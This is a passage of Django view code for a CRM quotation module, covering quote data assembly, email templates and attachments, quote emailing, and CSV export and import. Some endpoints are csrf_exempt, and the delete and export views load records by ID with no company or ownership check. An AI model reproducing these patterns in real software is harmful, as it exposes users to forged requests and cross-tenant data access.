quatations_obj.customer_id\n customer_name = quatations_obj.customer_name\n\n quot_tmpl_id = ''\n quot_tmpl_name = ''\n if quatations_obj.qout_template is not None:\n quot_tmpl_id = quatations_obj.qout_template_id\n quot_tmpl_name = quatations_obj.qout_template.name\n\n payment_term_id = ''\n pay_tm_name = ''\n if quatations_obj.payment_term is not None:\n payment_term_id = quatations_obj.payment_term_id\n pay_tm_name = quatations_obj.payment_term.name\n\n dm_id = ''\n dm_name = ''\n\n if quatations_obj.delivery_method is not None:\n dm_id = quatations_obj.delivery_method_id\n dm_name = quatations_obj.delivery_method.name\n\n profile_image = ''\n profile_image1 = ''\n contactp = Contact.objects.get(id=customer_id)\n fields = {\"Street\": '', \"Street2\": '', \"City\": '', \"State\": '', \"Country\": '', \"Zip\": '', \"Mobile\": ''}\n contact_field_value_id = ''\n\n if contactp is not None:\n contact_field_value_id = contactp.email\n profile_image = contactp.profile_image\n mainurl = settings.HOST_NAME\n profile_image1 = mainurl + profile_image\n address_street = contactp.street if contactp.street is not None else ''\n address_street2 = contactp.street2 if contactp.street2 is not None else ''\n address_city = contactp.city if contactp.city is not None else ''\n address_country = contactp.country if contactp.country is not None else ''\n address_zip = contactp.zip if contactp.zip is not None else ''\n mobile = fields['Mobile'] if fields['Mobile'] is not None else ''\n\n company_name = ''\n company_logo = None\n company_street = None\n company_city = None\n company_zip = None\n company_country = None\n companytp = Company.objects.filter(id=company_id)\n if companytp is not None:\n for cpt in companytp:\n company_name = cpt.company\n cuser_id = cpt.user_id\n company_billing_company_name = cpt.billing_company_name if cpt.billing_company_name is not None else ''\n company_address_billing_street = cpt.billing_street if cpt.billing_street is not None else ''\n company_address_billing_city = cpt.billing_city if cpt.billing_city is not None else ''\n company_address_billing_country = cpt.billing_country.label if cpt.billing_country is not None else ''\n company_address_billing_zip = cpt.billing_zip if cpt.billing_zip is not None else ''\n company_street = cpt.street if cpt.street is not None else ''\n company_city = cpt.city if cpt.city is not None else ''\n company_zip = cpt.zip if cpt.zip is not None else ''\n company_country = cpt.country.label if cpt.country is not None else ''\n company_logo = settings.HOST_NAME_WITHOUT_SLASH + cpt.profile_image if cpt.profile_image else None\n firstname = ''\n lastname = ''\n user_detail = User.objects.filter(id=cuser_id)\n if user_detail is not None:\n for utp in user_detail:\n firstname = utp.first_name\n lastname = utp.last_name\n\n email = ''\n legacy_information = ''\n\n user_detail = User.objects.get(id=user_id)\n if user_detail:\n email = user_detail.email\n legacy_information = user_detail.company.quotation_legacy_information\n\n phone = ''\n profile_detail = Profile.objects.filter(user_id=cuser_id)\n if profile_detail is not None:\n for ptp in profile_detail:\n phone = ptp.phone\n\n json_address = view_field_value(company_id, customer_id)\n fields = {}\n address_list = json_address\n address_json = ''\n\n terms_conditions = None\n if quatations_obj.notes:\n terms_conditions = quatations_obj.notes\n elif user_detail and user_detail.company.quotation_term_and_condition:\n terms_conditions = user_detail.company.quotation_term_and_condition\n\n if quatations_obj.expiration_date != \"\" and quatations_obj.expiration_date is not None:\n new_dt1 = str(quatations_obj.expiration_date);\n expiration_date1 = datetime.strptime(new_dt1, \"%Y-%m-%d\").strftime(\"%d/%m/%Y\")\n else:\n expiration_date1 = ''\n\n order_date1 = ''\n if quatations_obj.order_date != \"\" and quatations_obj.order_date is not None:\n new_dt2 = str(quatations_obj.order_date);\n order_date1 = datetime.strptime(new_dt2, \"%Y-%m-%d\").strftime(\"%d/%m/%Y\")\n else:\n order_date1 = ''\n report_name = quatations_obj.name\n first_date_label =''\n second_date_label = 'Expiration Date :'\n if report_for and report_for == 'quotation':\n report_name = 'Your Quotation ' + str(quatations_obj.name)\n first_date_label = 'Quotation Date :'\n elif report_for and report_for == 'sales_order':\n report_name = 'Your Sales Order ' + str(quatations_obj.name)\n first_date_label = 'Sales Order Date '\n\n\n expiration_date = ''\n order_date = ''\n if quatations_obj.expiration_date:\n expiration_date = datetime.strptime(str(quatations_obj.expiration_date), \"%Y-%m-%d\").strftime(\"%m/%d/%Y\")\n if quatations_obj.order_date:\n order_date = datetime.strptime(str(quatations_obj.order_date), \"%Y-%m-%d\").strftime(\"%m/%d/%Y\")\n quotation_dict = {'id': quatations_obj.id,\n 'user_id': quatations_obj.create_by_user_id,\n 'name': report_name,\n 'firstname': firstname,\n 'lastname': lastname,\n 'company_name': company_name,\n 'company_logo': company_logo,\n 'mobile': mobile,\n 'phone': phone,\n 'email': email,\n 'url': str(quatations_obj.uuid),\n 'currency': currency,\n 'company_billing_company_name': company_billing_company_name,\n 'company_address_billing_street': company_address_billing_street,\n 'company_address_billing_city': company_address_billing_city,\n 'company_address_billing_country': company_address_billing_country,\n 'company_address_billing_zip': company_address_billing_zip,\n 'company_street': company_street,\n 'company_zip': company_zip,\n 'company_city': company_city,\n 'company_country': company_country,\n 'address_street': address_street,\n 'address_street2': address_street2,\n 'address_city': address_city,\n 'address_state': '',\n 'address_country': address_country,\n 'address_zip': address_zip,\n 'customer_address': address_json,\n 'customer_id': customer_id,\n 'customer_name': customer_name,\n 'profile_image': profile_image,\n 'profile_image1': profile_image1,\n 'customer_email': contact_field_value_id,\n 'sales_person_id': str(quatations_obj.sales_person_id),\n 'opportunity_id': quatations_obj.opportunity_id,\n 'customer_invoice_id': quatations_obj.customer_invoice_id,\n 'notes': terms_conditions,\n 'customer_order_reference': quatations_obj.customer_order_reference,\n 'expiration_date': expiration_date,\n 'order_date': order_date,\n 'expiration_date1': expiration_date1,\n 'order_date1': order_date1,\n 'qout_tmpl_id': quot_tmpl_id,\n 'qout_tmpl_name': quot_tmpl_name,\n 'payment_term_id': payment_term_id,\n 'pay_tm_name': pay_tm_name,\n 'delivery_method_id': dm_id,\n 'delivery_method_name': dm_name,\n 'amount_untaxed': utils.round_value(quatations_obj.amount_untaxed),\n 'tax_amount': utils.round_value(quatations_obj.tax_amount),\n 'opamount_untaxed': utils.round_value(quatations_obj.opamount_untaxed),\n 'optax_amount': utils.round_value(quatations_obj.optax_amount),\n 'optotal_amount': utils.round_value(quatations_obj.optotal_amount),\n 'status': quatations_obj.status,\n 'invoice_status': quatations_obj.invoice_status,\n 'legacy_information': legacy_information,\n 'first_date_label':first_date_label,\n 'second_date_label':second_date_label\n\n }\n # str(round(Decimal(o.total_amount),2))\n if payment_term_id != '' and payment_term_id is not None:\n quotation_dict['payment_term'] = getQuotationPaymenterm(payment_term_id)\n\n quotation_dict['email_reminder_data'] = getEmailReminder(quatations_obj.id)\n quotation_dict['products'] = getQuotationProduct(quatations_obj.id, 'order', company_id, user_id, roles)\n quotation_dict['optional_products'] = getQuotationProduct(quatations_obj.id, 'optional', company_id, user_id,\n roles)\n product_tax_return_data = display_tax_calculation(quotation_dict['products'])\n quotation_dict['tax_amount'] = utils.round_value(product_tax_return_data['total_tax'])\n quotation_dict['total_amount'] = utils.round_value(float(quatations_obj.amount_untaxed)+float(product_tax_return_data['total_tax']))\n quotation_dict['multiple_tax'] = product_tax_return_data['multiple_tax_list']\n\n optional_product_tax_return_data = display_tax_calculation(quotation_dict['optional_products'])\n quotation_dict['op_tax_amount'] = utils.round_value(optional_product_tax_return_data['total_tax'])\n quotation_dict['op_product_multiple_tax'] = optional_product_tax_return_data['multiple_tax_list']\n\n return quotation_dict\n\n except Sale_order.DoesNotExist:\n return None\n\n\ndef getEmailReminder(quotation_id):\n data = {}\n eml_tmpl = []\n\n eml_obj = Email_reminder.objects.filter(sale=quotation_id).order_by('id')\n if len(eml_obj) > 0:\n for o in eml_obj:\n if o.email_template_id != '' and o.email_template_id != None:\n email_template_name = o.email_template.name\n else:\n email_template_name = ''\n\n eml_tmpl.append({\n 'id': o.id,\n 'numbers': o.numbers,\n 'event_type': o.event_type,\n 'email_template': email_template_name,\n 'email_template_id': o.email_template_id,\n 'email_reminder': True,\n })\n return eml_tmpl\n\n\ndef getQuotationPaymenterm(payment_term_id):\n data = {}\n qout_tmpl = []\n\n tpml_obj = Term.objects.filter(payment_term=payment_term_id).order_by('order')\n\n if len(tpml_obj) > 0:\n for o in tpml_obj:\n qout_tmpl.append({\n 'id': o.id,\n 'due_type': o.due_type,\n 'value': o.value,\n 'number_days': o.number_days,\n 'days': o.days,\n })\n return qout_tmpl\n\n\ndef view_field_value(user_company_id, contact_id):\n contact_id = str(contact_id)\n tab = []\n contact_tabs = ContactTab.objects.all().filter(company_id=user_company_id).order_by('display_weight')\n\n if contact_tabs is not None:\n for o in contact_tabs:\n tab_dic = {'tab_id': o.id, 'tab_name': o.name, 'is_default': o.is_default, 'fields': []}\n field_ids = ', '.join([str(x) for x in o.fields])\n contact_fields = ContactFieldsValue.contact_field_value_data(contact_id, field_ids)\n\n for f in contact_fields:\n contact_field_value_id = ''\n contact_field_value = '-'\n if f.contact_field_value_id is not None and f.contact_field_value is not None:\n contact_field_value_id = f.contact_field_value_id\n contact_field_value = f.contact_field_value\n if f.type == 'radio' and f.contact_field_value:\n radio_value = '-'\n try:\n radio = ast.literal_eval(f.contact_field_value)\n for r in radio:\n if r['checked']:\n radio_value = r['value']\n contact_field_value = radio_value\n except:\n contact_field_value = radio_value\n if f.type == 'checkbox' and f.contact_field_value:\n checkbox = ast.literal_eval(f.contact_field_value)\n checkbox_list = []\n try:\n for c in checkbox:\n if c['checked']:\n checkbox_list.append(c['value'])\n contact_field_value = ', '.join(checkbox_list)\n except:\n contact_field_value = ', '.join(checkbox_list)\n\n if f.type == 'multiselect' and f.contact_field_value:\n tag_list = []\n try:\n tags = ast.literal_eval(f.contact_field_value)\n for t in tags:\n tag_list.append({'color': t['color'], 'name': t['name']})\n contact_field_value = tag_list\n except:\n contact_field_value = tag_list\n fields_dic = {'id': f.id, 'name': f.label, 'display_position': f.display_position,\n 'field_value_id': contact_field_value_id, 'value': contact_field_value,\n 'type': f.type\n }\n tab_dic['fields'].append(fields_dic)\n tab.append(tab_dic)\n return tab\n\n\ndef getQuotationProduct(id, line_type, company_id, user_id, roles):\n utils = Utils()\n pro_record_list = []\n s_o_r_dict = Sale_order_record.objects.filter(company_id=company_id, order_id=id, line_type=line_type).order_by('id')\n if len(s_o_r_dict) > 0:\n for o in s_o_r_dict:\n uom_name = ''\n product_name = 'Product Deleted'\n tax_id = ''\n tax_name = ''\n tax_computation = None\n tax_value = None\n json_uom = []\n product_uuid = None\n if o.product_uom is not None:\n uom_name = o.product_uom.name\n if o.product_uom.category_id is not None:\n json_uom = getUOMforProduct(o.product_uom.category_id, company_id)\n\n if o.Product is not None:\n product_name = o.Product.internal_reference if o.Product.internal_reference is not None else ''\n product_name = product_name + ' '\n product_name = product_name + o.Product.template_name if o.Product.template_name is not None else ''\n\n if o.Taxes is not None:\n tax_id = o.Taxes.id\n tax_name = o.Taxes.name\n tax_computation = o.Taxes.computation\n tax_value = o.Taxes.value\n\n if o.Product_id:\n product_uuid = str(o.Product.uuid)\n\n pro_record_list.append({\n 'id': o.id,\n 'uuid':product_uuid,\n 'Product': o.Product_id,\n 'product_name': product_name,\n 'product_description': o.discription,\n 'customer': o.customer,\n 'sales_person': o.sales_person,\n 'product_qty': o.product_qty,\n 'product_uom': o.product_uom_id,\n 'product_uom_name': uom_name,\n 'product_tax_id': tax_id,\n 'product_tax_name': tax_name,\n 'product_tax_value': utils.round_value(tax_value),\n 'product_tax_computation': tax_computation,\n 'unit_price': utils.round_value(o.unit_price),\n 'tax_price': utils.round_value(o.tax_price),\n 'price_subtotal': utils.round_value(o.price_subtotal),\n 'price_total': utils.round_value(o.price_total),\n 'price_reduce': utils.round_value(o.price_reduce),\n 'discount': utils.round_value(o.discount),\n 'json_uom': json_uom,\n })\n return pro_record_list\n\n\n\n\n@login_required(login_url=\"/login/\")\ndef edit(request, edit_id):\n return render(request, 'web/app.html')\n\n\ndef editdata(request, uuid):\n data = {'success':False}\n company_id = request.user.profile.company_id\n user_obj = request.user\n user_id = user_obj.id\n try:\n roles = request.user.profile.roles\n except Profile.DoesNotExist:\n roles = \"ADMIN\"\n\n text_invoice = []\n text_invoice12 = []\n try:\n res = Sale_order.objects.get(uuid=uuid, company_id=company_id)\n if res:\n edit_id = res.id\n currency = get_currency_name(company_id)\n\n Invoicing_data = getInvoicingData(edit_id, company_id)\n total_Invoicing_data = len(Invoicing_data)\n\n Invoicing_objs1 = Customer_invoice.objects.filter(quotation_id=edit_id, company_id=company_id)\n\n for invoice1 in Invoicing_objs1:\n\n text_invoice.append(invoice1.invoice_status)\n if 'all' in text_invoice or 'delivered' in text_invoice:\n text_invoice12 = 'YES'\n else:\n text_invoice12 = 'NO'\n\n quotation_data = getQuotationData(edit_id, company_id, user_id, roles, currency, None)\n if quotation_data is not None:\n data['quotation'] = quotation_data\n data['Invoicing'] = Invoicing_data\n data['text_invoice'] = text_invoice\n data['text_invoice12'] = text_invoice12\n data['total_Invoicing_data'] = total_Invoicing_data\n data['success'] = True\n except Sale_order.DoesNotExist:\n pass\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n\n\n@csrf_exempt\ndef email_upload_file(request):\n user_company_id = request.user.profile.company_id\n return_status = {'success': False, 'file_data':{'url':'','filename':''} }\n if request.method == 'POST' and request.FILES['image']:\n file_path = 'media/files/' + str(user_company_id) + '/email_template'\n f = request.FILES['image']\n fs = FileSystemStorage(location=file_path)\n filename = fs.save(f.name, f)\n uploaded_file_url = '/' + file_path + '/' + filename\n return_status['file_data']['file_path'] = uploaded_file_url\n return_status['file_data']['file_name'] = filename\n return_status['file_data']['is_template_file'] = False\n return_status['success'] = True\n return HttpResponse(json.dumps(return_status), content_type=\"application/json\")\n\n@csrf_exempt\ndef remove_email_file(request):\n user_company_id = request.user.profile.company_id\n return_status = {'success': False, 'file_data':{'file_path':'','file_name':''}, 'msg':'' }\n if request.method == 'POST':\n json_data = json.loads(request.POST['fields'])\n if 'id' in json_data and int(json_data['id']):\n try:\n template_attchement = AttachDocument.objects.get(id=json_data['id'])\n if template_attchement and template_attchement.file_name == json_data['file_name']:\n file_path = 'media/files/' + str(user_company_id) + '/email_template/'+json_data['file_name']\n os.remove(file_path)\n template_attchement.delete()\n except AttachDocument.DoesNotExist:\n print(\"AttachDocument.DoesNotExist\")\n\n return_status['success'] = True\n return HttpResponse(json.dumps(return_status), content_type=\"application/json\")\n\n\n\n\n\n\ndef getEmailTemplateData(request, email_template_id):\n data = {}\n company_id = request.user.profile.company_id\n data['success'] = False\n user_obj = request.user\n\n email_template_objs = EmailTemplate.objects.get(id=email_template_id, company_id = company_id)\n\n data['id'] = email_template_objs.id\n data['name'] = email_template_objs.name\n data['subject'] = email_template_objs.subject\n data['description'] = email_template_objs.description\n\n if email_template_objs.image_path != '' and email_template_objs.image_path is not None:\n eml_list = email_template_objs.image_path.split('|')\n else:\n eml_list = None\n\n if eml_list != '' and eml_list is not None:\n data['image_path'] = eml_list\n\n data['success'] = True\n\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n#suyash\ndef getEmailTemplate(request, module_type):\n data = {}\n data['success'] = False\n company_id = request.user.profile.company_id\n user_obj = request.user\n module_type = module_type.lower()\n if module_type == 'quotation':\n module_type = 'quotation'\n elif module_type == 'customerinvoice':\n module_type = 'invoice'\n elif module_type == 'sales-order':\n module_type = 'sales-order'\n com_list = []\n email_template_objs = EmailTemplate.objects.filter(company_id=company_id, is_deleted=False, module_type=module_type).order_by('-id')\n\n\n\n print(email_template_objs.query)\n\n if len(email_template_objs) > 0:\n for x in email_template_objs[:1]:\n\n ename = ''\n eid = ''\n esubject = ''\n edescription = ''\n eimage_path = ''\n\n if x.name is not None:\n ename = x.name\n if x.id is not None:\n eid = x.id\n if x.subject is not None:\n esubject = x.subject\n if x.description is not None:\n edescription = x.description\n if x.image_path != '' and x.image_path is not None:\n eimage_path = x.image_path.split('|')\n data['id'] = eid\n if len(ename) > 0:\n data['name'] = ename\n if len(esubject) > 0:\n data['subject'] = esubject\n if len(edescription) > 0:\n data['description'] = edescription\n if len(eimage_path) > 0:\n data['image_path'] = eimage_path\n\n for com in email_template_objs:\n name = ''\n if com.name is not None:\n name = com.name\n\n com_list.append({'id': com.id, 'name': com.name, 'subject': com.subject, 'description': com.description,\n 'image_path': com.image_path})\n\n if len(com_list) > 0:\n data['email_template_json'] = com_list\n\n data['email_template_length'] = len(com_list)\n\n data['success'] = True\n\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n\n\ndef get_default_template(request, module_type):\n data = {}\n data['success'] = False\n company_id = request.user.profile.company_id\n user_obj = request.user\n module_type = module_type.lower()\n if module_type == 'quotation':\n module_type = 'quotation'\n elif module_type == 'customerinvoice':\n module_type = 'invoice'\n elif module_type == 'sales-order':\n module_type = 'sales-order'\n try:\n print(\"module_type\", module_type)\n files_attachment = []\n email_template_objs = EmailTemplate.objects.get(company_id=company_id, is_deleted=False, module_type=module_type, is_default=True)\n if email_template_objs:\n template_attchement = AttachDocument.objects.filter(email_template_id=email_template_objs.id)\n if template_attchement:\n for attachment in template_attchement:\n files_attachment.append(\n {'id': attachment.id, 'file_name': attachment.file_name, 'file_path': attachment.file_path, 'is_template_file':True})\n\n if email_template_objs :\n ename = ''\n eid = ''\n esubject = ''\n edescription = ''\n eimage_path = ''\n\n if email_template_objs.name is not None:\n ename = email_template_objs.name\n if email_template_objs.id is not None:\n eid = email_template_objs.id\n if email_template_objs.subject is not None:\n esubject = email_template_objs.subject\n if email_template_objs.description is not None:\n edescription = email_template_objs.description.replace(' ', \"\")\n if email_template_objs.image_path != '' and email_template_objs.image_path is not None:\n eimage_path = email_template_objs.image_path.split('|')\n data['id'] = eid\n if len(ename) > 0:\n data['name'] = ename\n if len(esubject) > 0:\n data['subject'] = esubject\n if len(edescription) > 0:\n data['description'] = edescription\n if len(eimage_path) > 0:\n data['image_path'] = eimage_path\n\n data['result']={'id': eid, 'name': ename,\n 'subject': esubject, 'description': edescription.replace(' ', \"\"),\n 'image_path': eimage_path,\"module_type\":module_type, 'attachment':files_attachment\n }\n data['success'] = True\n except EmailTemplate.DoesNotExist as e:\n print(e)\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n\n\n\ndef sendQuoteEmail(request):\n company_id = request.user.profile.company_id\n\n data = {'success': False}\n fields = json.loads(request.POST['fields'])\n utils = Utils()\n due_date = ''\n if fields['module_type'] == 'quotation' or fields['module_type'] == 'sales-order':\n res = Sale_order.objects.get(uuid=fields['quotation_id'], company_id=company_id)\n res.status = 'sent'\n res.save()\n elif fields['module_type'] == 'CustomerInvoice':\n res = Customer_invoice.objects.get(encrypt_id=fields['quotation_id'], company=company_id)\n elif fields['module_type'] == 'contact':\n res = Contact.objects.get(id=fields['quotation_id'], user_company_id=company_id)\n elif fields['module_type'] == 'opportunity':\n res = Opportunity.objects.get(id=fields['quotation_id'], company_id=company_id)\n\n if res:\n if fields['module_type'] == 'quotation':\n replace_pdf_url = settings.HOST_NAME + 'generate_pdf/' + str(res.uuid) + '/quotation/'\n if res.order_date:\n due_date = format_date(res.order_date, request.user.profile.company.currency) #str(res.order_date)\n\n elif fields['module_type'] == 'sales-order':\n replace_pdf_url = settings.HOST_NAME + 'generate_pdf/' + str(res.uuid) + '/sales_order/'\n if res.order_date:\n due_date = format_date(res.order_date, request.user.profile.company.currency)\n elif fields['module_type'] == 'CustomerInvoice':\n replace_pdf_url = settings.HOST_NAME + 'generate_pdf/' + str(res.encrypt_id) + '/invoice/'\n if res.due_date:\n due_date = format_date(res.order_date, request.user.profile.company.currency)\n\n\n external_recipients = fields['external_recipients']\n internal_recipients = fields['internal_recipients']\n recipients = []\n\n if external_recipients:\n external_recipients = external_recipients[-1].split(\",\")\n if len(external_recipients) > 0:\n for ext_rep in external_recipients:\n email_to = {'email': ext_rep, 'FirstName': None, 'LastName': None, 'CompanyName': None}\n recipients.append(email_to)\n\n if len(internal_recipients) > 0:\n for internal_recipient in internal_recipients:\n first_name = None\n last_name = None\n company_name =None\n try:\n customer = Contact.objects.get(id=int(internal_recipient['id']), user_company_id=company_id)\n if customer:\n if customer.first_name:\n first_name = customer.first_name.title()\n if customer.last_name:\n last_name = customer.last_name.title()\n if customer.contact_type == 'C':\n company_name = customer.name.title()\n elif customer.company:\n company_name = customer.company.name.title()\n email_to ={'email':customer.email, 'FirstName': first_name, 'LastName': last_name, 'CompanyName': company_name}\n recipients.append(email_to)\n except Contact.DoesNotExist as e:\n print(e)\n\n\n if len(recipients) > 0:\n\n if fields['module_type'] != 'contact' and fields['module_type'] != 'opportunity':\n msgdata = fields['content'].replace('[qname]', res.name)\n msgdata = msgdata.replace('[duedate]', due_date)\n amount = str(utils.round_value(res.total_amount)) + ' ' + get_currency_name(company_id)\n msgdata = msgdata.replace('[tamount]', amount)\n\n button_html = '
    '\n button_html = button_html + ' View Document Online '\n button_html = button_html + '
    '\n msgdata = msgdata.replace('[url]', button_html)\n msgdata = msgdata.replace('[qname]', res.name)\n msgdata = msgdata.replace(' ', ' ')\n subject = fields['subject'].replace('[qname]', res.name)\n else:\n msgdata = fields['content']\n subject = fields['subject']\n\n for recipt in recipients:\n if recipt['FirstName']:\n msgdata = msgdata.replace('[FirstName]', recipt['FirstName'])\n else:\n msgdata = msgdata.replace('[FirstName]', '')\n if recipt['LastName']:\n msgdata = msgdata.replace('[LastName]', ' ' +recipt['LastName'])\n else:\n msgdata = msgdata.replace('[LastName]', '')\n if recipt['CompanyName']:\n msgdata = msgdata.replace('[CompanyName]', recipt['CompanyName'])\n else:\n msgdata = msgdata.replace('[CompanyName]', '')\n\n if test_validate_email(recipt['email']):\n\n print(\"attatch\", fields['attachements'])\n\n message_data = {'message': msgdata, 'master_id': res.id,\n 'module_name': fields['module_type'], 'message_type': 'email_sent',\n 'attachements': fields['attachements']}\n message_status = save_message(request, message_data)\n\n data['success'] = message_status['success']\n\n\n attachment1 = fields['attachements']\n company_logo = settings.HOST_NAME_WITHOUT_SLASH + request.user.company.profile_image if request.user.company.profile_image else None\n company_name = request.user.company.company\n text_content = \"k\"\n result = EmailMultiAlternatives(subject, text_content, settings.EMAIL_FROM, [recipt['email']])\n msgdata1 = msgdata\n msg_html = render_to_string('web/quotation/email.html',\n {'msgdata1': msgdata1, 'saalz_logo': company_logo,\n 'company_name': company_name})\n result.attach_alternative(msg_html, \"text/html\")\n if len(fields['attachements']) > 0:\n for attachment2 in fields['attachements']:\n attachment = settings.BASE_DIR + '/media/files/' + str(company_id) + '/email_template/' + attachment2['file_name']\n result.attach_file(attachment)\n result.send()\n data['success'] = True\n\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n\ndef saveEmailtemplate(request):\n data = {}\n data['success'] = False\n company_id = request.user.profile.company_id\n user_obj = request.user\n fields = json.loads(request.POST['fields'])\n module_type = fields['module'].lower()\n if module_type == 'quotation':\n module_type = 'quotation'\n elif module_type == 'customerinvoice':\n module_type = 'invoice'\n elif module_type == 'sales-order':\n module_type = 'sales-order'\n elif module_type == 'contact':\n module_type = 'contact'\n elif module_type == 'opportunity':\n module_type = 'opportunity'\n\n if 'template_id' in fields and int(fields['template_id']) > 0:\n email_template_obj = EmailTemplate.objects.get(id=int(fields['template_id']), company_id=company_id)\n email_template_obj.name = fields['template_name']\n email_template_obj.description = fields['editor_txt']\n email_template_obj.subject = fields['subject']\n email_template_obj.module_type = module_type\n email_template_obj.company_id = company_id\n email_template_obj.save()\n save_email_attchement(email_template_obj, fields['attachements'], module_type)\n data['msg'] = 'Template Saved!!.'\n data['success'] = True\n else:\n try:\n email_template_obj = EmailTemplate.objects.get(name__exact=str(fields['template_name']), company_id=company_id)\n data['msg'] = 'Template with same name already exits.'\n except EmailTemplate.DoesNotExist as e:\n email_template_obj = EmailTemplate()\n email_template_obj.name = fields['template_name']\n email_template_obj.description = fields['editor_txt']\n email_template_obj.subject = fields['subject']\n email_template_obj.module_type = module_type\n email_template_obj.company_id = company_id\n email_template_obj.save()\n save_email_attchement(email_template_obj, fields['attachements'], module_type)\n data['msg'] = 'New Template Created!!.'\n data['success'] = True\n data['id'] = email_template_obj.id\n data['name'] = email_template_obj.name\n data['subject'] = email_template_obj.subject\n data['description'] = email_template_obj.description\n\n return HttpResponse(json.dumps(data), content_type='application/json')\n\ndef save_email_attchement(email_template_obj, attachements, module_type):\n if len(attachements) > 0:\n for attachement in attachements:\n try:\n template_attatchement = AttachDocument.objects.get(email_template=email_template_obj, file_name=attachement['file_name'],file_path=attachement['file_path'])\n except AttachDocument.DoesNotExist as e:\n template_attatchement = AttachDocument()\n template_attatchement.email_template=email_template_obj\n template_attatchement.file_name = attachement['file_name']\n template_attatchement.file_path = attachement['file_path']\n template_attatchement.module_name = module_type\n template_attatchement.save()\n return True\n\n\ndef deleteQoutation(request):\n data = {}\n data['success'] = False\n id_list = json.loads(request.POST['ids'])\n if len(id_list) > 0:\n for i in id_list:\n try:\n quot_obj = Sale_order.objects.get(pk=int(i)).delete()\n data['msg'] = 'Deleted sucessfully'\n data['success'] = True\n except quot_obj.DoesNotExist:\n data['msg'] = 'Something is wrong!'\n return HttpResponse(json.dumps(data), content_type='application/json')\n\n\n\ndef quotationexport(request):\n export_status = {'success': False}\n id_list = json.loads(request.POST['ids'])\n list_dic = []\n data = []\n if len(id_list) > 0:\n for i in id_list:\n quot_obj = Sale_order.objects.filter(pk=int(i))\n for o in quot_obj:\n if o.name is not None and o.name != '':\n name = o.name\n else:\n name = ''\n if o.customer_name is not None and o.customer_name != '':\n customer_name = o.customer_name\n else:\n customer_name = ''\n if o.order_date is not None and o.order_date != '':\n order_date = datetime.strptime(str(o.order_date), \"%Y-%m-%d\").strftime(\"%d/%m/%Y\")\n else:\n order_date = ''\n if o.total_amount is not None and o.total_amount != '':\n total_amount = str(o.total_amount)\n else:\n total_amount = ''\n if o.status is not None and o.status != '':\n status = o.status\n else:\n status = ''\n list_dic.append({\n 'Quotation Number': name,\n 'Order Date': order_date,\n 'Customer Name': customer_name,\n 'Total': total_amount,\n 'Status': status,\n })\n\n if list_dic:\n to_csv = list_dic\n keys1 = to_csv[0].keys()\n keys = (['Quotation Number', 'Order Date', 'Customer Name', 'Total', 'Status'])\n file_path = 'media/user_csv/' + str(request.user.id)\n file_name = time.strftime(\"%Y%m%d-%H%M%S\") + '.csv'\n if not os.path.exists(file_path):\n os.makedirs(file_path)\n uploaded_file_url = file_path + '/' + file_name\n with open(uploaded_file_url, 'w', encoding=\"latin-1\", newline='') as fp:\n dict_writer = csv.DictWriter(fp, keys)\n dict_writer.writeheader()\n\n for dic in list_dic:\n keys, values = zip(*dic.items())\n\n dict_writer.writerow(dict(zip(keys, values)))\n\n export_status = {'success': True, 'file': uploaded_file_url}\n\n return HttpResponse(json.dumps(export_status), content_type=\"application/json\")\n\n\ndef imports(request):\n if len(request.FILES) != 0:\n contact_list = {'success': False, 'file': ''}\n file_path = 'media/user_csv/' + str(request.user.id)\n user_company_id = request.user.profile.company_id\n fields = []\n product_fileds = Sale_order._meta.get_fields()\n for field in product_fileds:\n fields_dic = {'name': field.name}\n fields.append(fields_dic)\n\n contact_list['fields'] = [{'name': 'Quotation name'}, {'name': 'Order Date'}, {'name': 'Customer name'},\n {'name': 'Expiration Date'}, {'name': 'Status'}, {'name': 'Payment term'},\n {'name': 'Quotation template'}]\n if request.method == 'POST' and request.FILES['ufile']:\n if request.FILES['ufile'].name.split('.')[-1] == \"csv\":\n myfile = request.FILES['ufile']\n fs = FileSystemStorage(location='media/user_csv/' + str(request.user.id))\n filename = fs.save(myfile.name, myfile)\n uploaded_file_url = settings.BASE_DIR + '/' + file_path + '/' + filename\n file_rows = []\n temp_list_one = []\n temp_list_two = []\n temp_list_three = []\n temp_list_four = []\n temp_list_five = []\n header_list = []\n\n try:\n with open(uploaded_file_url, \"r\", encoding=\"latin-1\") as csvfile:\n contact_list['file'] = filename\n dialect = csv.Sniffer().sniff(csvfile.read(), delimiters=';,')\n csvfile.seek(0)\n reader = csv.reader(csvfile, dialect=dialect)\n try:\n for line_number, row in enumerate(reader):\n if line_number < 6:\n for i in range(len(row)):\n\n if line_number == 0:\n header_list.append(row[i])\n if line_number == 1:\n temp_list_one.append(row[i])\n if line_number == 2:\n temp_list_two.append(row[i])\n if line_number == 3:\n temp_list_three.append(row[i])\n if line_number == 4:\n temp_list_four.append(row[i])\n if line_number == 5:\n temp_list_five.append(row[i])\n else:\n break\n for i in range(len(temp_list_one)):\n file_rows.append(str(temp_list_one[i]) + \"\\n\" + str(temp_list_two[i]) + \"\\n\" + str(\n temp_list_three[i]) + \"\\n\" + str(temp_list_four[i]) + \"\\n\" + str(temp_list_five[i]))\n\n contact_list['csv_cols'] = file_rows\n contact_list['header'] = header_list\n contact_list['success'] = True\n contact_list['msg'] = 'processing'\n except csv.Error as e:\n sys.exit('file %s, line %d: %s' % (uploaded_file_url, reader.line_num, e))\n except IOError as e:\n print(\"I/O error({0}): {1}\".format(e.errno, e.strerror))\n else:\n contact_list = {'success': False, 'file': '', 'msg': 'You did not selected csv file.'}\n else:\n contact_list = {'success': False, 'file': '', 'msg': 'You did not selected any file.'}\n return HttpResponse(json.dumps(contact_list), content_type=\"application/json\")\n\n\ndef import_mapping(request):\n contact_list = {'success': False, 'file': ''}\n user_id = request.user.id\n company_id = request.user.profile.company_id\n user_obj = request.user\n utils = Utils()\n if request.method == \"POST\" and request.is_ajax():\n if 'file_name' in request.POST:\n file_name = request.POST['file_name']\n fields = json.loads(request.POST['fields'])\n if fields.count('0') == len(fields):\n contact_list = {'success': False, 'file': '', 'msg': 'You did not selected any fields.'}\n return HttpResponse(json.dumps(contact_list), content_type=\"application/json\")\n file_path = 'media/user_csv/' + str(request.user.id)\n uploaded_file_url = settings.BASE_DIR + '/' + file_path + '/' + file_name\n try:\n with open(uploaded_file_url, \"r\", encoding=\"latin-1\") as csvfile:\n dialect = csv.Sniffer().sniff(csvfile.read(), delimiters=';,')\n csvfile.seek(0)\n reader = 